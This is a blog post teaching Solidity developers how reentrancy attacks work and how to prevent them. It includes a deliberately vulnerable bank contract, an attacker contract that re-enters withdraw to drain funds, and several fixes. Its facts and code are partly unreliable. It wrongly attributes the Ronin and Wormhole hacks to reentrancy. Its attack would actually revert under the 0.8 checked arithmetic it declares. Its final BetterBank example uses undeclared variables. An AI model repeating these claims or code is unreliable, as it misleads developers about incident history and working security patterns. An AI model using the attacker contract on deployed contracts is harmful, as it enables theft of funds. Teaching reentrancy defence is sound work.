DEV Community

metadevdigital
metadevdigital

Posted on

How Reentrancy Attacks Work in Solidity — and How to Prevent Them

How Reentrancy Attacks Work in Solidity — and How to Prevent Them

cover

Your contract is probably vulnerable right now, and you don't even know it.

The Part Nobody Tells You

Reentrancy isn't some exotic attack that only happens to bad code. It's baked into Solidity's execution model. When you call an external contract, you're handing over control of execution. The called contract can do literally anything before returning to you. Including calling you back.

The Ronin bridge hack (2022) cost $625 million. Wormhole lost $325 million. Both involved reentrancy vectors. But the vulnerability has been known since 2016. The DAO attack literally created reentrancy as a category. And people still get it wrong.

Let me show you why.

Here's Where It Gets Weird

Look at this contract. Totally normal withdrawal function:

pragma solidity ^0.8.0;

contract VulnerableBank {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amount) public {
        require(balances[msg.sender] >= amount);

        (bool success, ) = msg.sender.call{value: amount}("");
        require(success);

        balances[msg.sender] -= amount;
    }
}
Enter fullscreen mode Exit fullscreen mode

Dead simple. Check balance, send money, update balance. What could go wrong? Everything.

When you call msg.sender.call{value: amount}(""), you're giving control to whatever contract msg.sender is. If it's a contract, its fallback function runs immediately. Before the balance gets updated. So an attacker contract can do this:

contract Attacker {
    VulnerableBank target;

    constructor(address _target) {
        target = VulnerableBank(_target);
    }

    function attack() public payable {
        target.deposit{value: 1 ether}();
        target.withdraw(1 ether);
    }

    fallback() external payable {
        // We're in the middle of withdraw()
        // balance hasn't been updated yet
        if (address(target).balance >= 1 ether) {
            target.withdraw(1 ether);
        }
    }

    receive() external payable {
        // Same thing
        if (address(target).balance >= 1 ether) {
            target.withdraw(1 ether);
        }
    }
}
Enter fullscreen mode Exit fullscreen mode

The execution flow: withdraw() checks balance[attacker] = 1 ether ✓. Call sends 1 ether, attacker's fallback runs. Attacker calls withdraw() again. Checks balanceattacker ✓. Sends another ether, fallback runs again. Repeat until bank is drained. Then the first balance update finally happens. You just lost everything.

The Lesson I Learned The Hard Way

I audited a lending protocol in 2022 (won't name it, NDAs exist). They had flash loan logic. I found a reentrancy path through the redemption function and told the team. Their response? "Oh, it's fine, we check balances before and after." That doesn't work. The attacker can call another protocol in their callback that sends them tokens, completely bypassing your checks. That contract got rugged two months later — different exploit, but the reentrancy was sitting there waiting.

The Actual Solution

Checks-Effects-Interactions (CEI): Update state before you call external code. Put the balance update before the call:

contract SecureBank {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amount) public {
        require(balances[msg.sender] >= amount);

        balances[msg.sender] -= amount;  // EFFECT FIRST

        (bool success, ) = msg.sender.call{value: amount}("");  // INTERACTION LAST
        require(success);
    }
}
Enter fullscreen mode Exit fullscreen mode

Now when the attacker's fallback runs, balances[msg.sender] is already zero. Second call fails the require. Done.

Reentrancy Guard (Mutex): Sometimes you can't reorganize code cleanly. Use a lock instead. Set a flag to 2 before executing, back to 1 after. Any reentrancy attempt reads locked as 2 and reverts.

pragma solidity ^0.8.0;

contract ReentrancyGuard {
    uint256 private locked = 1;

    modifier nonReentrant() {
        require(locked == 1, "No reentrancy");
        locked = 2;
        _;
        locked = 1;
    }
}

contract SafeBank is ReentrancyGuard {
    mapping(address => uint256) public balances;

    function withdraw(uint256 amount) public nonReentrant {
        require(balances[msg.sender] >= amount);

        (bool success, ) = msg.sender.call{value: amount}("");
        require(success);

        balances[msg.sender] -= amount;
    }
}
Enter fullscreen mode Exit fullscreen mode

Use established patterns: Prefer pull over push. Use safe transfer functions from battle-tested libraries. Minimize the surface area where reentrancy can happen.

// Better: use safeTransfer from OpenZeppelin
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";

contract BetterBank {
    using SafeERC20 for IERC20;

    function withdraw(uint256 amount) public {
        require(balances[msg.sender] >= amount);
        balances[msg.sender] -= amount;
        IERC20(token).safeTransfer(msg.sender, amount);
    }
}
Enter fullscreen mode Exit fullscreen mode

The Bottom Line

Reentrancy is dead simple to prevent. Checks-Effects-Interactions. Reentrancy guards. Safe transfer patterns. Pick one, or use two to be paranoid. The real problem is developers don't think about it until someone exploits them. Don't be that developer. Think about your callstack. Think about who controls execution when. Think about what state is true when. That's 90% of security right there.


Top comments (0)